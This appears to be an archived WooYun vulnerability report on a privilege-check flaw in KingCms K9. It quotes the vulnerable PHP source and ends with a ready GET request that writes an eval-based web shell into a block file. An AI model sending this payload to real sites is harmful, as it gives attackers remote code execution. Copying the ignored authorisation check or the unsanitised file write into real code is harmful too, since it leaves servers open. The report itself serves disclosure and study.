当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0103095

漏洞标题:KingCms最新版前台又GetShell

相关厂商:KingCms

漏洞作者: 路人甲

提交时间:2015-03-24 14:52

修复时间:2015-05-08 14:54

公开时间:2015-05-08 14:54

漏洞类型:命令执行

危害等级:中

自评Rank:10

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-24: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-05-08: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

KingCms最新版前台又GetShell

详细说明:

朋友的公司想购买kingcms的授权,让我帮忙看下。发现kingcms很长一段时间没更新了,憋了一段时间放出了最新版的k9(2014-12-13更新),官网下下来学习一下。
在wooyun上看到了几个漏洞,如: WooYun: kingcms最新版sql注入漏洞
只需要普通用户就可以完成getshell
问题出在这里:/apps/block/manage.php

function _edit(){
$u=new user;$u->auth_role('block_edit');
if(empty($_POST['name'])) kc_tip('碎片名称不能为空!','form');
if(!kc_validate($_POST['name'],'/^[a-z0-9\_]+$/')) kc_tip('碎片名称只能由小写字母、数字和下划线组成!','form');
$path=ROOT.T.'block/';
if(empty($_POST['name_old'])){
if(is_file($path.$_POST['name'])) kc_tip('已经存在同名的碎片!','form');
}elseif(is_file($path.$_POST['name'] && $_POST['name']!=$_POST['name_old'])){
kc_tip('已经存在同名的碎片!','form');
}
$s='<?php /**'.$_POST['notes'].'**/ ?><?php !defined(\'INC\') && exit("Illegal request!");?>'.$_POST['text'];//注释2
$file=new file;
$file->put(T.'block/'.$_POST['name'].'.php',$s);
kc_ajax(array('JS'=>"go('{$_POST['HTTP_REFERER']}')"));
}


这里有个权限验证$u->auth_role('block_edit'); ,我们去看看

public function auth_role($level=0,$is=false){
if(empty($level)) return $this->info['islogin'];
if($level==1 && !$this->info['islogin']) return $is ? false :kc_tip('请先登录!','form');
//exit($this->info['islogin'].'ccc');

if($is==true && strpos($level,'_deny')) return false;

global $db;
$res_rids=$db->getRows_two('%s_user_role_bind','rid','removedate','userid='.$this->info['userid']);
if(empty($res_rids)) return false;//注释1:如果没有权限,返回false
$rids=array_keys($res_rids);
$rs=$db->getRows_two('%s_user_role_auth','auth','id','rid in ('.implode(',',$rids).')');

/*
$rs=$db->getRows_join('%s_user_role_auth','%s_user_role_bind','auth','rid','rid','t2.userid='.$this->info['userid'].' and t1.auth=\''.$level.'\'');
*/
if(!empty($rs['admin'])) return true;
//if(empty($rs[$level])) return $is ? false : kc_tip('您无权访问当前页!','form');
return empty($rs[$level]) ? ($is ? false : kc_tip('您无权访问当前页!','form')) : true;
}


看上面代码“注释1”处,如果用户没有相应的权限就返回false,但是在上面的第一段代码中,并没有判断是不是返回false啊,也没有exit(),也就是说返回true和返回false是一样的,没有判断,程序继续向下执行啊。注册的会员都可以操作这里。
再看第一段代码的注释2处,直接把$_POST['notes']的内容进行了拼接,然后调用了$file->put(),跟进

function put($filename,$s,$is=false){
$filename=$this->encode($filename,1);
$this->md(dirname($filename));//创建目录
//去掉bom
if(substr($s,0,3)==pack("CCC",0xef,0xbb,0xbf)){
$s=substr($s,3);
}
//exit($filename);
if( file_put_contents(ROOT.$filename,$s,LOCK_EX) !== false ) {//写入成功
return true;
}else{//写入失败
if($is){
kc_tip('文件写入失败!<br/>'.$filename);
}
}
}


仅对文件的名字调用了自定义的encode方法处理,对于写入文章的内容没有处理,这里是这样拼接的

$s='<?php /**'.$_POST['notes'].'**/ ?><?php !defined(\'INC\') && exit("Illegal request!");?>'.$_POST['text'];


因此,$_POST['notes']的内容应该为:/?><?php eval($_POST["p"]);/,然后URL编码即可。
Payload:get提交,普通权限的用户即可操作

GET /apps/block/manage.php?jsoncallback=1&_=1&CMD=edit&METHOD=POST&id=&AJAX=1&name=test&notes=%2f%3f%3e%3c%3fphp+eval(%24_POST%5b%22p%22%5d)%3b%2f


提交过程如下图

过程副本.jpg


测试之

成功副本.jpg

漏洞证明:

见 详细说明

修复方案:

验证

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝